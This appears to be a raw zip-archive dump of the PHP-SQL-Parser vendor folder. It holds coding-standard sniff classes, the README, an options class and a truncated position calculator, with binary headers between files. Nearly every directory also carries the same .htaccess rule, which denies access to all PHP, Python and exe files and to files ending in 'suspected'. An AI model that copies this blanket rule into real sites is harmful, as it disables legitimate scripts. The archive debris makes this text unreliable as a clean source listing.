                    $newContent = str_replace(' ', '_', $content);
                    $nameBits = explode('_', $newContent);
                    $firstBit = array_shift($nameBits);
                    $newName = ucfirst($firstBit) . '_';
                    foreach ($nameBits as $bit) {
                        $newName .= ucfirst($bit) . '_';
                    }

                    $error = 'Category name "%s" is not valid; consider "%s" instead';
                    $validName = trim($newName, '_');
                    $data = array($content, $validName,);
                    $this->currentFile->addError($error, $errorPos, 'InvalidCategory', $data);
                }
            } else {
                $error = '@category tag must contain a name';
                $this->currentFile->addError($error, $errorPos, 'EmptyCategory');
            }
        }

    }//end processCategory()

    /**
     * Process the package tag.
     *
     * @param int $errorPos The line number where the error occurs.
     *
     * @return void
     */
    protected function processPackage($errorPos) {
        $package = $this->commentParser->getPackage();
        if ($package === null) {
            return;
        }

        $content = $package->getContent();
        if ($content === '') {
            $error = '@package tag must contain a name';
            $this->currentFile->addError($error, $errorPos, 'EmptyPackage');
            return;
        }

        if (PHP_CodeSniffer::isUnderscoreName($content) === true) {
            return;
        }

        $newContent = str_replace(' ', '_', $content);
        $newContent = preg_replace('/[^A-Za-z_]/', '', $newContent);
        $nameBits = explode('_', $newContent);
        $firstBit = array_shift($nameBits);
        $newName = strtoupper($firstBit{0}) . substr($firstBit, 1) . '_';
        foreach ($nameBits as $bit) {
            $newName .= strtoupper($bit{0}) . substr($bit, 1) . '_';
        }

        $error = 'Package name "%s" is not valid; consider "%s" instead';
        $validName = trim($newName, '_');
        $data = array($content, $validName,);
        $this->currentFile->addError($error, $errorPos, 'InvalidPackage', $data);

    }//end processPackage()

    /**
     * Process the subpackage tag.
     *
     * @param int $errorPos The line number where the error occurs.
     *
     * @return void
     */
    protected function processSubpackage($errorPos) {
        $package = $this->commentParser->getSubpackage();
        if ($package !== null) {
            $content = $package->getContent();
            if ($content !== '') {
                if (PHP_CodeSniffer::isUnderscoreName($content) !== true) {
                    $newContent = str_replace(' ', '_', $content);
                    $nameBits = explode('_', $newContent);
                    $firstBit = array_shift($nameBits);
                    $newName = strtoupper($firstBit{0}) . substr($firstBit, 1) . '_';
                    foreach ($nameBits as $bit) {
                        $newName .= strtoupper($bit{0}) . substr($bit, 1) . '_';
                    }

                    $error = 'Subpackage name "%s" is not valid; consider "%s" instead';
                    $validName = trim($newName, '_');
                    $data = array($content, $validName,);
                    $this->currentFile->addError($error, $errorPos, 'InvalidSubpackage', $data);
                }
            } else {
                $error = '@subpackage tag must contain a name';
                $this->currentFile->addError($error, $errorPos, 'EmptySubpackage');
            }
        }

    }//end processSubpackage()

    /**
     * Process the author tag(s) that this header comment has.
     *
     * This function is different from other _process functions
     * as $authors is an array of SingleElements, so we work out
     * the errorPos for each element separately
     *
     * @param int $commentStart The position in the stack where
     *                          the comment started.
     *
     * @return void
     */
    protected function processAuthors($commentStart) {
        $authors = $this->commentParser->getAuthors();
        // Report missing return.
        if (empty($authors) === false) {
            foreach ($authors as $author) {
                $errorPos = ($commentStart + $author->getLine());
                $content = $author->getContent();
                if ($content !== '') {
                    $local = '\da-zA-Z-_+';
                    // Dot character cannot be the first or last character
                    // in the local-part.
                    $localMiddle = $local . '.\w';
                    if (preg_match(
                        '/^([^<]*)\s+<([' . $local . ']([' . $localMiddle . ']*[' . $local
                            . '])*@[\da-zA-Z][-.\w]*[\da-zA-Z]\.[a-zA-Z]{2,7})>$/', $content) === 0) {
                        $error = 'Content of the @author tag must be in the form "Display Name <username@example.com>"';
                        $this->currentFile->addError($error, $errorPos, 'InvalidAuthors');
                    }
                } else {
                    $error = 'Content missing for @author tag in %s comment';
                    $docBlock = (get_class($this) === 'PhOSCo_Sniffs_Commenting_FileCommentSniff') ? 'file' : 'class';
                    $data = array($docBlock);
                    $this->currentFile->addError($error, $errorPos, 'EmptyAuthors', $data);
                }
            }
        }

    }//end processAuthors()

    /**
     * Process the copyright tags.
     *
     * @param int $commentStart The position in the stack where
     *                          the comment started.
     *
     * @return void
     */
    protected function processCopyrights($commentStart) {
        $copyrights = $this->commentParser->getCopyrights();
        foreach ($copyrights as $copyright) {
            $errorPos = ($commentStart + $copyright->getLine());
            $content = $copyright->getContent();
            if ($content !== '') {
                $matches = array();
                if (preg_match('/^([0-9]{4})((.{1})([0-9]{4}))? (.+)$/', $content, $matches) !== 0) {
                    // Check earliest-latest year order.
                    if ($matches[3] !== '') {
                        if ($matches[3] !== '-') {
                            $error = 'A hyphen must be used between the earliest and latest year';
                            $this->currentFile->addError($error, $errorPos, 'CopyrightHyphen');
                        }

                        if ($matches[4] !== '' && $matches[4] < $matches[1]) {
                            $error = "Invalid year span \"$matches[1]$matches[3]$matches[4]\" found; consider \"$matches[4]-$matches[1]\" instead";
                            $this->currentFile->addWarning($error, $errorPos, 'InvalidCopyright');
                        }
                    }
                } else {
                    $error = '@copyright tag must contain a year and the name of the copyright holder';
                    $this->currentFile->addError($error, $errorPos, 'EmptyCopyright');
                }
            } else {
                $error = '@copyright tag must contain a year and the name of the copyright holder';
                $this->currentFile->addError($error, $errorPos, 'EmptyCopyright');
            }//end if
        }//end if

    }//end processCopyrights()

    /**
     * Process the license tag.
     *
     * @param int $errorPos The line number where the error occurs.
     *
     * @return void
     */
    protected function processLicense($errorPos) {
        $license = $this->commentParser->getLicense();
        if ($license !== null) {
            $value = $license->getValue();
            $comment = $license->getComment();
            if ($value === '' || $comment === '') {
                $error = '@license tag must contain a URL and a license name';
                $this->currentFile->addError($error, $errorPos, 'EmptyLicense');
            }
        }

    }//end processLicense()

    /**
     * Process the version tag.
     *
     * @param int $errorPos The line number where the error occurs.
     *
     * @return void
     */
    protected function processVersion($errorPos) {
        $version = $this->commentParser->getVersion();
        if ($version !== null) {
            $content = $version->getContent();
            $matches = array();
            if (empty($content) === true) {
                $error = 'Content missing for @version tag in file comment';
                $this->currentFile->addError($error, $errorPos, 'EmptyVersion');
            } else if (strstr($content, 'CVS:') === false && strstr($content, 'SVN:') === false
                && strstr($content, 'GIT:') === false && strstr($content, 'HG:') === false) {
                $error = 'Invalid version "%s" in file comment; consider "CVS: <cvs_id>" or "SVN: <svn_id>" or "GIT: <git_id>" or "HG: <hg_id>" instead';
                $data = array($content);
                $this->currentFile->addWarning($error, $errorPos, 'InvalidVersion', $data);
            }
        }

    }//end processVersion()

}//end class

?>
PK     \Sʉ      S  vendor/greenlion/php-sql-parser/libs/codesniffer/PhOSCo/Sniffs/Commenting/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \n`D0  D0  e  vendor/greenlion/php-sql-parser/libs/codesniffer/PhOSCo/Sniffs/Functions/FunctionDeclarationSniff.phpnu [        <?php
/**
 * PEAR_Sniffs_Functions_FunctionDeclarationSniff.
 *
 * PHP version 5
 *
 * @category  PHP
 * @package   PHP_CodeSniffer
 * @author    Greg Sherwood <gsherwood@squiz.net>
 * @copyright 2006-2012 Squiz Pty Ltd (ABN 77 084 670 600)
 * @license   https://github.com/squizlabs/PHP_CodeSniffer/blob/master/licence.txt BSD Licence
 * @link      http://pear.php.net/package/PHP_CodeSniffer
 */

/**
 * PEAR_Sniffs_Functions_FunctionDeclarationSniff.
 *
 * Ensure single and multi-line function declarations are defined correctly.
 *
 * @category  PHP
 * @package   PHP_CodeSniffer
 * @author    Greg Sherwood <gsherwood@squiz.net>
 * @copyright 2006-2012 Squiz Pty Ltd (ABN 77 084 670 600)
 * @license   https://github.com/squizlabs/PHP_CodeSniffer/blob/master/licence.txt BSD Licence
 * @version   Release: 1.5.1
 * @link      http://pear.php.net/package/PHP_CodeSniffer
 */
class PhOSCo_Sniffs_Functions_FunctionDeclarationSniff implements PHP_CodeSniffer_Sniff {

    /**
     * The number of spaces code should be indented.
     *
     * @var int
     */
    public $indent = 4;

    /**
     * Returns an array of tokens this test wants to listen for.
     *
     * @return array
     */
    public function register() {
        return array(T_FUNCTION, T_CLOSURE,);

    }//end register()

    /**
     * Processes this test, when one of its tokens is encountered.
     *
     * @param PHP_CodeSniffer_File $phpcsFile The file being scanned.
     * @param int                  $stackPtr  The position of the current token
     *                                        in the stack passed in $tokens.
     *
     * @return void
     */
    public function process(PHP_CodeSniffer_File $phpcsFile, $stackPtr) {
        $tokens = $phpcsFile->getTokens();

        $spaces = 0;
        if ($tokens[($stackPtr + 1)]['code'] === T_WHITESPACE) {
            $spaces = strlen($tokens[($stackPtr + 1)]['content']);
        }

        if ($spaces !== 1) {
            $error = 'Expected 1 space after FUNCTION keyword; %s found';
            $data = array($spaces);
            $phpcsFile->addError($error, $stackPtr, 'SpaceAfterFunction', $data);
        }

        // Must be one space before and after USE keyword for closures.
        $openBracket = $tokens[$stackPtr]['parenthesis_opener'];
        $closeBracket = $tokens[$stackPtr]['parenthesis_closer'];
        if ($tokens[$stackPtr]['code'] === T_CLOSURE) {
            $use = $phpcsFile->findNext(T_USE, ($closeBracket + 1), $tokens[$stackPtr]['scope_opener']);
            if ($use !== false) {
                if ($tokens[($use + 1)]['code'] !== T_WHITESPACE) {
                    $length = 0;
                } else if ($tokens[($use + 1)]['content'] === "\t") {
                    $length = '\t';
                } else {
                    $length = strlen($tokens[($use + 1)]['content']);
                }

                if ($length !== 1) {
                    $error = 'Expected 1 space after USE keyword; found %s';
                    $data = array($length);
                    $phpcsFile->addError($error, $use, 'SpaceAfterUse', $data);
                }

                if ($tokens[($use - 1)]['code'] !== T_WHITESPACE) {
                    $length = 0;
                } else if ($tokens[($use - 1)]['content'] === "\t") {
                    $length = '\t';
                } else {
                    $length = strlen($tokens[($use - 1)]['content']);
                }

                if ($length !== 1) {
                    $error = 'Expected 1 space before USE keyword; found %s';
                    $data = array($length);
                    $phpcsFile->addError($error, $use, 'SpaceBeforeUse', $data);
                }
            }//end if
        }//end if

        // Check if this is a single line or multi-line declaration.
        $singleLine = true;
        if ($tokens[$openBracket]['line'] === $tokens[$closeBracket]['line']) {
            // Closures may use the USE keyword and so be multi-line in this way.
            if ($tokens[$stackPtr]['code'] === T_CLOSURE) {
                if ($use !== false) {
                    // If the opening and closing parenthesis of the use statement
                    // are also on the same line, this is a single line declaration.
                    $open = $phpcsFile->findNext(T_OPEN_PARENTHESIS, ($use + 1));
                    $close = $tokens[$open]['parenthesis_closer'];
                    if ($tokens[$open]['line'] !== $tokens[$close]['line']) {
                        $singleLine = false;
                    }
                }
            }
        } else {
            $singleLine = false;
        }

        if ($singleLine === true) {
            $this->processSingleLineDeclaration($phpcsFile, $stackPtr, $tokens);
        } else {
            $this->processMultiLineDeclaration($phpcsFile, $stackPtr, $tokens);
        }

    }//end process()

    /**
     * Processes single-line declarations.
     *
     * Just uses the Generic BSD-Allman brace sniff.
     *
     * @param PHP_CodeSniffer_File $phpcsFile The file being scanned.
     * @param int                  $stackPtr  The position of the current token
     *                                        in the stack passed in $tokens.
     * @param array                $tokens    The stack of tokens that make up
     *                                        the file.
     *
     * @return void
     */
    public function processSingleLineDeclaration(PHP_CodeSniffer_File $phpcsFile, $stackPtr, $tokens) {
        if (class_exists('Generic_Sniffs_Functions_OpeningFunctionBraceKernighanRitchieSniff', true) === false) {
            throw new PHP_CodeSniffer_Exception(
                'Class Generic_Sniffs_Functions_OpeningFunctionBraceKernighanRitchieSniff not found');
        }

        $sniff = new Generic_Sniffs_Functions_OpeningFunctionBraceKernighanRitchieSniff();
        $sniff->process($phpcsFile, $stackPtr);

    }//end processSingleLineDeclaration()

    /**
     * Processes mutli-line declarations.
     *
     * @param PHP_CodeSniffer_File $phpcsFile The file being scanned.
     * @param int                  $stackPtr  The position of the current token
     *                                        in the stack passed in $tokens.
     * @param array                $tokens    The stack of tokens that make up
     *                                        the file.
     *
     * @return void
     */
    public function processMultiLineDeclaration(PHP_CodeSniffer_File $phpcsFile, $stackPtr, $tokens) {
        // We need to work out how far indented the function
        // declaration itself is, so we can work out how far to
        // indent parameters.
        $functionIndent = 0;
        for ($i = ($stackPtr - 1); $i >= 0; $i--) {
            if ($tokens[$i]['line'] !== $tokens[$stackPtr]['line']) {
                $i++;
                break;
            }
        }

        if ($tokens[$i]['code'] === T_WHITESPACE) {
            $functionIndent = strlen($tokens[$i]['content']);
        }

        // The closing parenthesis must be on a new line, even
        // when checking abstract function definitions.
        $closeBracket = $tokens[$stackPtr]['parenthesis_closer'];
        $prev = $phpcsFile->findPrevious(T_WHITESPACE, ($closeBracket - 1), null, true);

        if ($tokens[$closeBracket]['line'] !== $tokens[$tokens[$closeBracket]['parenthesis_opener']]['line']) {
            if ($tokens[$prev]['line'] === $tokens[$closeBracket]['line']) {
                $error = 'The closing parenthesis of a multi-line function declaration must be on a new line';
                $phpcsFile->addError($error, $closeBracket, 'CloseBracketLine');
            }
        }

        // If this is a closure and is using a USE statement, the closing
        // parenthesis we need to look at from now on is the closing parenthesis
        // of the USE statement.
        if ($tokens[$stackPtr]['code'] === T_CLOSURE) {
            $use = $phpcsFile->findNext(T_USE, ($closeBracket + 1), $tokens[$stackPtr]['scope_opener']);
            if ($use !== false) {
                $open = $phpcsFile->findNext(T_OPEN_PARENTHESIS, ($use + 1));
                $closeBracket = $tokens[$open]['parenthesis_closer'];

                $prev = $phpcsFile->findPrevious(T_WHITESPACE, ($closeBracket - 1), null, true);

                if ($tokens[$closeBracket]['line'] !== $tokens[$tokens[$closeBracket]['parenthesis_opener']]['line']) {
                    if ($tokens[$prev]['line'] === $tokens[$closeBracket]['line']) {
                        $error = 'The closing parenthesis of a multi-line use declaration must be on a new line';
                        $phpcsFile->addError($error, $closeBracket, 'CloseBracketLine');
                    }
                }
            }//end if
        }//end if

        // Each line between the parenthesis should be indented 4 spaces.
        $openBracket = $tokens[$stackPtr]['parenthesis_opener'];
        $lastLine = $tokens[$openBracket]['line'];
        for ($i = ($openBracket + 1); $i < $closeBracket; $i++) {
            if ($tokens[$i]['line'] !== $lastLine) {
                if ($i === $tokens[$stackPtr]['parenthesis_closer']
                    || ($tokens[$i]['code'] === T_WHITESPACE
                        && (($i + 1) === $closeBracket || ($i + 1) === $tokens[$stackPtr]['parenthesis_closer']))) {
                    // Closing braces need to be indented to the same level
                    // as the function.
                    $expectedIndent = $functionIndent;
                } else {
                    $expectedIndent = ($functionIndent + $this->indent);
                }

                // We changed lines, so this should be a whitespace indent token.
                if ($tokens[$i]['code'] !== T_WHITESPACE) {
                    $foundIndent = 0;
                } else {
                    $foundIndent = strlen($tokens[$i]['content']);
                }

                if ($expectedIndent !== $foundIndent) {
                    $error = 'Multi-line function declaration not indented correctly; expected %s spaces but found %s';
                    $data = array($expectedIndent, $foundIndent,);
                    $phpcsFile->addError($error, $i, 'Indent', $data);
                }

                $lastLine = $tokens[$i]['line'];
            }//end if

            if ($tokens[$i]['code'] === T_ARRAY) {
                // Skip arrays as they have their own indentation rules.
                $i = $tokens[$i]['parenthesis_closer'];
                $lastLine = $tokens[$i]['line'];
                continue;
            }
        }//end for

        if (isset($tokens[$stackPtr]['scope_opener']) === true) {
            // The openning brace needs to be one space away
            // from the closing parenthesis.
            $next = $tokens[($closeBracket + 1)];
            if ($next['code'] !== T_WHITESPACE) {
                $length = 0;
            } else if ($next['content'] === $phpcsFile->eolChar) {
                $length = -1;
            } else {
                $length = strlen($next['content']);
            }

            if ($length !== 1) {
                $data = array($length);
                $code = 'SpaceBeforeOpenBrace';

                $error = 'There must be a single space between the closing parenthesis and the opening brace of a multi-line function declaration; found ';
                if ($length === -1) {
                    $error .= 'newline';
                    $code = 'NewlineBeforeOpenBrace';
                } else {
                    $error .= '%s spaces';
                }

                $phpcsFile->addError($error, ($closeBracket + 1), $code, $data);
                return;
            }

            // And just in case they do something funny before the brace...
            $next = $phpcsFile->findNext(T_WHITESPACE, ($closeBracket + 1), null, true);

            if ($next !== false && $tokens[$next]['code'] !== T_OPEN_CURLY_BRACKET) {
                $error = 'There must be a single space between the closing parenthesis and the opening brace of a multi-line function declaration';
                $phpcsFile->addError($error, $next, 'NoSpaceBeforeOpenBrace');
            }
        }//end if

    }//end processMultiLineDeclaration()

}//end class

?>
PK     \Sʉ      R  vendor/greenlion/php-sql-parser/libs/codesniffer/PhOSCo/Sniffs/Functions/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      H  vendor/greenlion/php-sql-parser/libs/codesniffer/PhOSCo/Sniffs/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \gZ    C  vendor/greenlion/php-sql-parser/libs/codesniffer/PhOSCo/ruleset.xmlnu [        <?xml version="1.0"?>
<ruleset name="PhOSCo">
	<description>A custom coding standard for PHP-SQL-Parser.</description>

	<rule ref="Generic.Files.EndFileNewline" />

	<rule ref="PEAR">
		<exclude name="Generic.Files.LineLength" />
		<exclude name="PEAR.Classes.ClassDeclaration" />
		<exclude name="PEAR.Functions.FunctionDeclaration" />
		<exclude name="PEAR.Commenting.FileComment" />
		<exclude name="PEAR.Commenting.ClassComment" />
		<exclude name="PEAR.ControlStructures.MultiLineCondition" />
	</rule>

	<!-- Lines can be 120 chars long, but never show errors -->
	<rule ref="Generic.Files.LineLength">
		<properties>
			<property name="lineLimit" value="120" />
			<property name="absoluteLineLimit" value="0" />
		</properties>
	</rule>

</ruleset>
PK     \Sʉ      A  vendor/greenlion/php-sql-parser/libs/codesniffer/PhOSCo/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \yP  P  :  vendor/greenlion/php-sql-parser/libs/codesniffer/usage.txtnu [        Install PHP_CodeSniffer:
========================

pear install PHP_CodeSniffer


Check the code with:
====================

phpcs --standard=/path/to/the/PhOSCo/folder /path/to/the/src/folder >/tmp/code-errors.txt
vi /tmp/code-errors.txt


Or integrate it as external tool into Eclipse:
==============================================

* Open External tool configuration window
* set the name to "CodeSniffer"
* set /usr/bin/phpcs as Location
* set --standard="${project_loc}/libs/codesniffer/PhOSCo" "${selected_resource_loc}" as Arguments
* on the Build tab set the parameters as needed
* click "Apply" and "Close"

* select one of the folders or *.php files
* execute the external tool "CodeSniffer"
* review the errors within the console output within Eclipse

correct all listed errors (...I hate it)!
=========================================PK     \Sʉ      :  vendor/greenlion/php-sql-parser/libs/codesniffer/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      .  vendor/greenlion/php-sql-parser/libs/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \gS    )  vendor/greenlion/php-sql-parser/README.mdnu [        [![Build Status](https://travis-ci.org/greenlion/PHP-SQL-Parser.svg?branch=master)](https://travis-ci.org/greenlion/PHP-SQL-Parser)

PHP-SQL-Parser
==============

A pure PHP SQL (non validating) parser w/ focus on MySQL dialect of SQL


### Download

 [GitHub Wiki](https://github.com/greenlion/PHP-SQL-Parser/wiki/Downloads)<br>
    
### Full support for the MySQL dialect for the following statement types

    SELECT
    INSERT
    UPDATE
    DELETE
    REPLACE
    RENAME
    SHOW
    SET
    DROP
    CREATE INDEX
    CREATE TABLE
    EXPLAIN
    DESCRIBE

### Other SQL statement types

Other statements are returned as an array of tokens. This is not as structured as the information available about the above types. See the [ParserManual](https://github.com/greenlion/PHP-SQL-Parser/wiki/Parser-Manual) for more information.

### Other SQL dialects

Since the MySQL SQL dialect is very close to SQL-92, this should work for most database applications that need a SQL parser. If using another database dialect, then you may want to change the reserved words - see the [ParserManual](https://github.com/greenlion/PHP-SQL-Parser/wiki/Parser-Manual). It supports UNION, subqueries and compound statements.

### External dependencies

The parser is a self contained class. It has no external dependencies. The parser uses a small amount of regex.

### Focus

The focus of the parser is complete and accurate support for the MySQL SQL dialect. The focus is not on optimizing for performance. It is expected that you will present syntactically valid queries.

### Manual

[ParserManual](https://github.com/greenlion/PHP-SQL-Parser/wiki/Parser-Manual) - Check out the manual.

### Example Output

**Example Query**

```sql
SELECT STRAIGHT_JOIN a, b, c 
  FROM some_table an_alias
 WHERE d > 5;
```

**Example Output (via print_r)**

```php
Array
( 
    [OPTIONS] => Array
        (
            [0] => STRAIGHT_JOIN
        )       
        
    [SELECT] => Array
        (
            [0] => Array
                (
                    [expr_type] => colref
                    [base_expr] => a
                    [sub_tree] => 
                    [alias] => `a`
                )

            [1] => Array
                (
                    [expr_type] => colref
                    [base_expr] => b
                    [sub_tree] => 
                    [alias] => `b`
                )

            [2] => Array
                (
                    [expr_type] => colref
                    [base_expr] => c
                    [sub_tree] => 
                    [alias] => `c`
                )

        )

    [FROM] => Array
        (
            [0] => Array
                (
                    [table] => some_table
                    [alias] => an_alias
                    [join_type] => JOIN
                    [ref_type] => 
                    [ref_clause] => 
                    [base_expr] => 
                    [sub_tree] => 
                )

        )

    [WHERE] => Array
        (
            [0] => Array
                (
                    [expr_type] => colref
                    [base_expr] => d
                    [sub_tree] => 
                )

            [1] => Array
                (
                    [expr_type] => operator
                    [base_expr] => >
                    [sub_tree] => 
                )

            [2] => Array
                (
                    [expr_type] => const
                    [base_expr] => 5
                    [sub_tree] => 
                )

        )

)
```
PK     \s    <  vendor/greenlion/php-sql-parser/src/PHPSQLParser/Options.phpnu [        <?php
/**
 * @author     mfris
 *
 */

namespace PHPSQLParser;

/**
 *
 * @author  mfris
 * @package PHPSQLParser
 */
final class Options
{

    /**
     * @var array
     */
    private $options;

    /**
     * @const string
     */
    const CONSISTENT_SUB_TREES = 'consistent_sub_trees';

    /**
     * @const string
     */
    const ANSI_QUOTES = 'ansi_quotes';

    /**
     * Options constructor.
     *
     * @param array $options
     */
    public function __construct(array $options)
    {
        $this->options = $options;
    }

    /**
     * @return bool
     */
    public function getConsistentSubtrees()
    {
        return (isset($this->options[self::CONSISTENT_SUB_TREES]) && $this->options[self::CONSISTENT_SUB_TREES]);
    }

    /**
     * @return bool
     */
    public function getANSIQuotes()
    {
        return (isset($this->options[self::ANSI_QUOTES]) && $this->options[self::ANSI_QUOTES]);
    }
}
PK     \Q  w2  w2  Q  vendor/greenlion/php-sql-parser/src/PHPSQLParser/positions/PositionCalculator.phpnu [        <?php
/**
 * PositionCalculator.php
 *
 * This class implements the calculator for the string positions of the 
 * base_expr elements within the output of the PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2015 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\positions;
use PHPSQLParser\utils\PHPSQLParserConstants;
use PHPSQLParser\exceptions\UnableToCalculatePositionException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the calculator for the string positions of the 
 * base_expr elements within the output of the PHPSQLParser.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class PositionCalculator {

    protected static $allowedOnOperator = array("\t", "\n", "\r", " ", ",", "(", ")", "_", "'", "\"", "?", "@", "0",
                                                "1", "2", "3", "4", "5", "6", "7", "8", "9");
    protected static $allowedOnOther = array("\t", "\n", "\r", " ", ",", "(", ")", "<", ">", "*", "+", "-", "/", "|",
                                             "&", "=", "!", ";");

    protected $flippedBacktrackingTypes;
    protected static $backtrackingTypes = array(ExpressionType::EXPRESSION, ExpressionType::SUBQUERY,
                                                ExpressionType::BRACKET_EXPRESSION, ExpressionType::TABLE_EXPRESSION,
                                                ExpressionType::RECORD, ExpressionType::IN_LIST,
                                                ExpressionType::MATCH_ARGUMENTS, ExpressionType::TABLE,
                                                ExpressionType::TEMPORARY_TABLE, ExpressionType::COLUMN_TYPE,
                                                ExpressionType::COLDEF, ExpressionType::PRIMARY_KEY,
                                                ExpressionType::CONSTRAINT, ExpressionType::COLUMN_LIST,
                                                ExpressionType::CHECK, ExpressionType::COLLATE, ExpressionType::LIKE,
                                                ExpressionType::INDEX, ExpressionType::INDEX_TYPE,
                                                ExpressionType::INDEX_SIZE, ExpressionType::INDEX_PARSER,
                                                ExpressionType::FOREIGN_KEY, ExpressionType::REFERENCE,
                                                ExpressionType::PARTITION, ExpressionType::PARTITION_HASH,
                                                ExpressionType::PARTITION_COUNT, ExpressionType::PARTITION_KEY,
                                                ExpressionType::PARTITION_KEY_ALGORITHM,
                                                ExpressionType::PARTITION_RANGE, ExpressionType::PARTITION_LIST,
                                                ExpressionType::PARTITION_DEF, ExpressionType::PARTITION_VALUES,
                                                ExpressionType::SUBPARTITION_DEF, ExpressionType::PARTITION_DATA_DIR,
                                                ExpressionType::PARTITION_INDEX_DIR, ExpressionType::PARTITION_COMMENT,
                                                ExpressionType::PARTITION_MAX_ROWS, ExpressionType::PARTITION_MIN_ROWS,
                                                ExpressionType::SUBPARTITION_COMMENT,
                                                ExpressionType::SUBPARTITION_DATA_DIR,
                                                ExpressionType::SUBPARTITION_INDEX_DIR,
                                                ExpressionType::SUBPARTITION_KEY,
                                                ExpressionType::SUBPARTITION_KEY_ALGORITHM,
                                                ExpressionType::SUBPARTITION_MAX_ROWS,
                                                ExpressionType::SUBPARTITION_MIN_ROWS, ExpressionType::SUBPARTITION,
                                                ExpressionType::SUBPARTITION_HASH, ExpressionType::SUBPARTITION_COUNT,
                                                ExpressionType::CHARSET, ExpressionType::ENGINE, ExpressionType::QUERY,
                                                ExpressionType::INDEX_ALGORITHM, ExpressionType::INDEX_LOCK,
    											ExpressionType::SUBQUERY_FACTORING, ExpressionType::CUSTOM_FUNCTION,
                                                ExpressionType::SIMPLE_FUNCTION
    );

    /**
     * Constructor.
     * 
     * It initializes some fields.
     */
    public function __construct() {
        $this->flippedBacktrackingTypes = array_flip(self::$backtrackingTypes);
    }

    protected function printPos($text, $sql, $charPos, $key, $parsed, $backtracking) {
        if (!isset($_SERVER['DEBUG'])) {
            return;
        }

        $spaces = "";
        $caller = debug_backtrace();
        $i = 1;
        while ($caller[$i]['function'] === 'lookForBaseExpression') {
            $spaces .= "   ";
            $i++;
        }
        $holdem = substr($sql, 0, $charPos) . "^" . substr($sql, $charPos);
        echo $spaces . $text . " key:" . $key . "  parsed:" . $parsed . " back:" . serialize($backtracking) . " "
            . $holdem . "\n";
    }

    public function setPositionsWithinSQL($sql, $parsed) {
        $charPos = 0;
        $backtracking = array();
        $this->lookForBaseExpression($sql, $charPos, $parsed, 0, $backtracking);
        return $parsed;
    }

    protected function findPositionWithinString($sql, $value, $expr_type) {
        if ($value === '') {
            return false;
        }

        $offset = 0;
        $ok = false;
        while (true) {

            $pos = strpos($sql, $value, $offset);
